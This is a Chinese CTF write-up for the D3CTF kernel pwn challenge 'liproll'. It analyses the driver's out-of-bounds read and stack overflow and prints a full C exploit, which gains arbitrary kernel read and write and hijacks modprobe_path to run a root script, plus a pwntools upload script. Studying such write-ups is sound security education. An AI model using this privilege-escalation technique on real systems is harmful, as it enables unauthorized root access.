D3CTF-pwn-liproll详解

前言

liproll比赛时没有做出来,赛后复现学到了很多

首先给出解包打包的脚本

解包:

hen.sh

#!/bin/bash
mv $1 $1.gz
unar $1.gz
mv $1 core
mv $1.gz $1
echo "[+]Successful"
打包:

gen.sh

#!/bin/sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1 
mv $1 ..

以本题为例

题目给出了bzlmage rootfs.cpio以及run.sh,解包的时候hen rootfs.cpio就可以在当前目录下生成一个core的文件,进入core文件之后gen rootfs.cpio就可以实现打包,在上层目录上生成rootfs.cpio

分析:

run.sh
#!/bin/sh

qemu-system-x86_64 \
    -kernel ./bzImage \
    -append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" \
    -initrd ./rootfs.cpio \
    -nographic \
    -m 2G \
    -smp cores=2,threads=2,sockets=1 \
    -monitor /dev/null

发现开了kaslr保护,为了方便调试将其改为nokaslr

init
#!/bin/sh

mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chown -R root:root /bin /usr /root

echo "flag{this_is_a_test_flag}" > /root/flag
chmod -R 400 /root
chmod -R o-r /proc/kallsyms
chmod -R 755 /bin /usr

cat /root/banner
insmod /liproll.ko

chmod 777 /dev/liproll

setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
poweroff -d 1800000 -f &
umount /proc
umount /sys

poweroff -d 0  -f

第16行加载了iproll.ko驱动文件,用ida打开分析
liproll_unlocked_ioctl 定义了四个功能


其中create_a_spell函数使用kmem_cache_alloc_trace申请了一个堆块放进addrList[idx]中,idx需小于16

choose_a_spell 函数首先检查了idx是否小于0xff若大于则退出(貌似存在一个数组越界)然后检查addrList[idx]是否为空,若不为空则将addrList[idx]赋值给全局变量global_buffer并将global_buffer[2]赋值为0x100


reset_the_spell 单纯的将global_buffer[1]以及global_buffer清空

cast_a_spell 首先检测global_buffer是否为空,不为空则先将其保存,然后判断size是否小于0x100,若小于0x100则将size赋值给v6若大于0x100则v6=0x100,后续v6会被赋值给global_buffer[2],然后便调用copy_from_user(v4, data, size)其中size是我们可控的因此在这里存在一个栈溢出,而后调用memcpy将v4的内容赋值给global_buffer,size也可控,这里也存在着一个溢出但是没啥用,而后便将保存的global_buffer恢复,可以注意到恢复的时候是在栈上恢复的。因此通过溢出便可以控制gloabl_buffer以及gloabl_buffer[2]的内容

liproll_read 首先检查global_buffer的大小,然后调用memcpy将gloabl_buffer复制给v4而后调用copy_to_user(a2, v4, a3);其中a3可控,因此可以越界读

思路

首先我们通过越界读读取vmlinux_base,而后通过调用cast_a_shell功能劫持global_buffer为我们想要写或者读的地址,当再次调用时便可以向global_buffer写值,或者用liproll_read来读值,从而来实现任意地址读写原语。需要注意一下size防止溢出触发crash

set(fd,1);
data[0x100/0x8] = addr;
data[0x108/0x8] = 0x100;
cast(fd,data,0x108);
read(fd,buf,0x100);

当然可以选择rop来提权,但是本题说是开了FG-KASLR(该保护开启后会导致 vmlinux 和相应的内核模块以函数为单位分段,然后在原先地址随机化的基础上打乱函数加载顺序,无法通过静态分析确定函数在 base_addr 基础上的偏移)由于笔者对内核方面了解较浅不知道怎么开启的希望知道的师傅指点一下

因此这里我们选择劫持modprobe_path,修改modprobe_path指向bash脚本,利用一个非正确格式的ELF文件便可以触发。但是当我们在qemu里面cat /proc/kallsyms | grep modprobe_path发现输不出改值,具体原因不太清楚貌似是内核版本的缘故


但是我们知道modprobe_path里面存的是“/sbin/modprobe”,因此我们便可以用任意地址读来在内存中搜索这个值从而得到modprobe_path的地址,然后用任意地址写将其写为我们的bash脚本,然后利用一个非正确格式的ELF文件便可以触发bash脚本,从而获取flag

完整exp:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>     
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <pthread.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
long int data[0x400];
size_t modprobe_path = 0;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell(void){
    system("/bin/sh");
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}
void spawn_shell()
{
    if(!getuid())
    {
        puts("Get shell");
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}
void add(int fd){
    ioctl(fd,0xD3C7F03);
}
void set(int fd,long int index){
    long int arg[1]={index};
    ioctl(fd,0xD3C7F04,arg);
}
void reset(int fd){
    ioctl(fd,0xD3C7F02);

}
void cast(int fd,long int* data,long int size){
    long int arg[2]={data,size};
    ioctl(fd,0xD3C7F01,arg);
}
void lg(char *s,size_t addr){
    printf("[+]%s ==> 0x%llx\n",s,addr);
}
void write1(int fd,size_t *addr,size_t *payload,int size){
    data[0x100/0x8] = addr;
    cast(fd,data,0x108);
    cast(fd,payload,size);
}
int main()
{
    size_t addr = 0xffffffff81000000;
    size_t real_cred = 0;
    size_t cred = 0;
    size_t target_addr ;
    size_t leak = 0;
    int root_cred[12];
    int result = 0;
    char target[16];
    save_status();
    signal(SIGSEGV, spawn_shell);
    signal(SIGTRAP, spawn_shell);
    char *buf = malloc(0x1000);
    strcpy(target,"/sbin/modprobe");
    int fd = open("/dev/liproll",0);
    if(fd < 0){
        puts("ERROR");
        exit(0);
    }
    add(fd);
    set(fd,0);
    read(fd,data,0x1000);
    /*for(unsigned int i = 0;i<100;i++){
        printf("ADDR[%d] ==> 0x%llx\n",i,data[i]);
    }*/
    vmlinux_base = data[52]-0x20007c;
    size_t canary = data[44];
    lg("vmlinux_base",vmlinux_base);
    lg("canary",canary);
    memset(data,'\x00',0x400);
    add(fd);
    for(;addr<0xffffffff81000000+0x1e00000;addr+=0x100){
        set(fd,1);
        data[0x100/0x8] = addr;
        data[0x108/0x8] = 0x100;
        cast(fd,data,0x108);
        read(fd,buf,0x100);
        result = memmem(buf,0x100,target,strlen(target));
        if (result)
        {
            modprobe_path = addr+result-(int)(buf);
            printf("%llx\n",result-(int)(buf));
            printf("FOUND:%lx\n", modprobe_path);
            break;

        }
    }
    set(fd,1);
    modprobe_path = 0x1448460+vmlinux_base;
    write1(fd,modprobe_path,"/tmp/1.sh\x00",strlen("/tmp/1.sh\x00")+1);
    system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/1.sh");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/aaa");
    system("chmod +x /tmp/1.sh");
    system("chmod +x /tmp/aaa");
    system("/tmp/aaa");
    system("cat /tmp/flag");

}

上传脚本:需要在当前目录下创建一个poc文件并将其中的c代码命名为exp.c
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os

# context.log_level = 'debug'
cmd = '$ '


def exploit(r):
    r.sendlineafter(cmd, 'stty -echo')
    os.system('musl-gcc  -static -O2 ./poc/exp.c -o ./poc/exp -masm=intel')
    os.system('gzip -c ./poc/exp > ./poc/exp.gz')
    r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
    r.sendline((read('./poc/exp.gz')).encode('base64'))
    r.sendline('EOF')
    r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
    r.sendlineafter(cmd, 'gunzip ./exp.gz')
    r.sendlineafter(cmd, 'chmod +x ./exp')
    r.sendlineafter(cmd, './exp')
    r.interactive()


# p = process('./startvm.sh', shell=True)
p = remote('xxxx',xxxx)

exploit(p)
效果:
总结

在拥有任意位置写原语的时候我们劫持modprobe_path该值在很大程度上可以做到事半功倍

推荐阅读更多精彩内容